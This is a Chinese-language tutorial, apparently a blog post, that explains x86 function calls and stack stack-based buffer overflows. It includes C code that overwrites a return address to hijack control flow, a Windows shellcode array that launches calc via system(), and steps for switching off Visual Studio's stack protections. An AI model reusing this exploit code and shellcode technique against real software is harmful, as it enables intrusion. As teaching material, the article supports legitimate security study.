在阅读此篇文章时,请先确定已有一些计算机功底,其中包括计算机组成原理、寄存器功能、汇编语感。
正文开始:
实验环境:windows8.1,vs2010
相信不少人听说过缓冲区溢出攻击,这是当时黑客网络攻击很关键的一种攻击方式,直到现在很多黑客找到bug后进行的攻击行为还是基于它为原理,今天我给大家简单实验一下。
首先讲一下缓冲区溢出攻击如何实现,就要提到计算机底层调用函数的方式。当你运行你自己写好的程序时,系统会自动开一个线程并为你分配一段内存以供程序运行,其中一部分内存会用来作为线程的栈,而函数的调用离不开栈的运用。
先讲一些寄存器esp(栈指针寄存器)ebp(基址寄存器)eip(指令地址寄存器)eax(指令寄存器,可能还有其它功能)。
寄存器中都存放了一个32位的二进制数(如果是64位操作系统则是64位二进制数,不过用c或者汇编写的程序大多是三十二位的),这32位二进制数当然是一个地址,如果这个数是0x00000018(十六进制数)那么则该寄存器指向内存中第十八个字节(当然0x00000018这样的内存是不可能被普通程序员使用的,大多是0x007FEF87这样的内存)。
esp中存放的数据(三十二位二进制数)自然就是栈中的栈顶指针,比如栈的内存块是0x00000000~0x000000FF,而其中0x000000CC~0x000000FF(这些地址都是随便一写)有数据,则esp的地址就是0x000000CC-4=0x000000C8这个数,下一次压栈时,就会把0x000000C8~0x000000CB填满数据,栈顶指针再自减4,指向0x000000C4(栈的走向是从高地址走向低地址)。
ebp中存放的数据是用来基址寻址的基址(好别扭),也是一个地址,它的特点是一般会在局部变量和函数参数所存放地址的中间,意思就是ebp+0xXX中存放的数据是函数参数,ebp-0xXX中存放的数据是局部变量,当调用一个函数时,需要改变ebp中存放的地址。每一个函数都有自己的基址(应该吧)。
eip中存放的数据是下一条指令的地址,当cpu执行完当前指令需要下一条指令时,则会根据eip的数据(就是一条地址)来获取下一条指令,并把它存放到eax寄存器中。
函数调用过程:
当你在main函数里调用一个函数(比如fun函数)时
fun(a,b);
int i = 0;
这是两条指令,调用的函数有两个参数a、b,那么会先从右到左把b和a依次压入堆栈中,之后把下一条指令(int i = 0;)的地址也压入堆栈中(每压入一次esp自动自减4),当函数执行完后可根据该地址返回到父函数。
把ebp(此时ebp还是父函数的基址)的数据压入栈,函数执行完后根据该地址找回父函数基址。
把esp的地址值赋给ebp(此时ebp即为该函数基址)。
esp自减0xXX为局部变量开辟内存空间。
此时函数调用前的准备工作完成,开始函数调用。
此时栈的部分结构就是
__________
esp->||低地址
||
|缓冲区|
||
||
|_________|
|___ebp___|
|int i = 0;___|(父函数调用函数时的下一条指令地址)
|a________|
|b________|//高地址
………………(手工绘图 如果觉得图渣 那你来打我呀)
讲了这么多终于要讲到关键的地方了,如果我在函数中创建了一个局部变量数组char buffer[4],那么缓冲区最后的四个字节会被分给该局部变量,随后紧跟的内存存放的是ebp、父函数下一条指令地址(简称为返回地址)、函数参数a、b
如果此时我给buffer调用memcpy函数赋给了它十六个字节的字符串"0000111122223333",那么只有0000会被buffer接收,而ebp会被冲刷成1111(也就是0x31313131),返回地址会被冲刷为0x32323232,随后程序就崩溃了,因为函数调用结束后0x32323232是不可访问内存,会发生访问冲突。
如果我对十六个字节的字符串进行修改 把2222换成另一个函数的地址,在该函数调用完成后岂不是就会开始调用这个函数?这就是很前一段时间常见的缓冲区溢出攻击,会让程序开始执行一段secret代码,如果是恶意代码的话(嘿嘿嘿嘿嘿嘿)。
现在开始上代码(终于有代码了):
#include
#include
#include
#pragma comment(linker,"/SECTION:.data,RWE") //这条代码让shellcode数据片可作为代码来执行
unsigned char shellcode[] = "\x55\x64\x8b\x35\x30\x00\x00\x00"
"\x8b\x76\x0c\x8b\x76\x1c\x8b\x6e"
"\x08\x8b\x7e\x20\x8b\x36\x80\x7f"
"\x18\x00\x75\xf2\x8b\xfd\x83\xec"
"\x64\x8b\xec\x8b\x47\x3c\x8b\x54"
"\x07\x78\x03\xd7\x8b\x4a\x18\x8b"
"\x5a\x20\x03\xdf\x49\x8b\x34\x8b"
"\x03\xf7\xb8\x47\x65\x74\x50\x39"
"\x06\x75\xf1\xb8\x72\x6f\x63\x41"
"\x39\x46\x04\x75\xe7\x8b\x5a\x24"
"\x03\xdf\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x03\xdf\x8b\x04\x8b\x03\xc7"
"\x89\x45\x4c\x6a\x00\x68\x61\x72"
"\x79\x41\x68\x4c\x69\x62\x72\x68"
"\x4c\x6f\x61\x64\x54\x57\xff\x55"
"\x4c\x89\x45\x50\x6a\x00\x68\x65"
"\x73\x73\x00\x68\x50\x72\x6f\x63"
"\x68\x45\x78\x69\x74\x54\x57\xff"
"\x55\x4c\x89\x45\x54\x6a\x70\x68"
"\x53\x6c\x65\x65\x54\x57\xff\x55"
"\x4c\x89\x45\x58\x6a\x00\x68\x72"
"\x74\x00\x00\x68\x6d\x73\x76\x63"
"\x54\xff\x55\x50\x8b\xf8\x6a\x00"
"\x68\x65\x6d\x00\x00\x68\x73\x79"
"\x73\x74\x54\x57\xff\x55\x4c\x89"
"\x45\x5c\x6a\x00\x68\x63\x61\x6c"
"\x63\x54\xff\x55\x5c\xff\x55\x54"
"";
void hacker()
{
printf("%i",1);//当该函数被调用时,说明溢出攻击成功了
exit(5);
}
void fun(char *str)
{
char buffer[4];
memcpy(buffer, str, 16);
}
int main()
{
//((void(*)())&shellcode)();//执行shellcode数据片
char badStr[] = "000011112222333344445555";//创建了一个24个字节的字符数组
DWORD *pEIP = (DWORD*)&badStr[8];//获取该数组的第八个元素的地址(从第零个开始)
//*pEIP = (DWORD)&shellcode[0];//获取shellcode数据片开头地址
*pEIP = (DWORD)hacker;//获取hacker函数地址(三十二位二进制数),同时赋给pEIP(即修改了badStr的2222变为hacker函数地址)
fun(badStr);//开始攻击
return 0;
}
看注释应该就能明白了,我在这里特别说一下vs很早就有检测栈溢出的功能了,不关闭它的话无法测试成功。
选择console1属性
修改基本运行时检查为默认值 修改缓冲区安全检查为否。
运行程序,发现log窗口中出现 ”程序“[0x202C] console1.exe: 本机”已退出,返回值为 5 (0x5)。“
说明执行了exit(5)代码,攻击成功。
下一章将讲述如何编写shellcode代码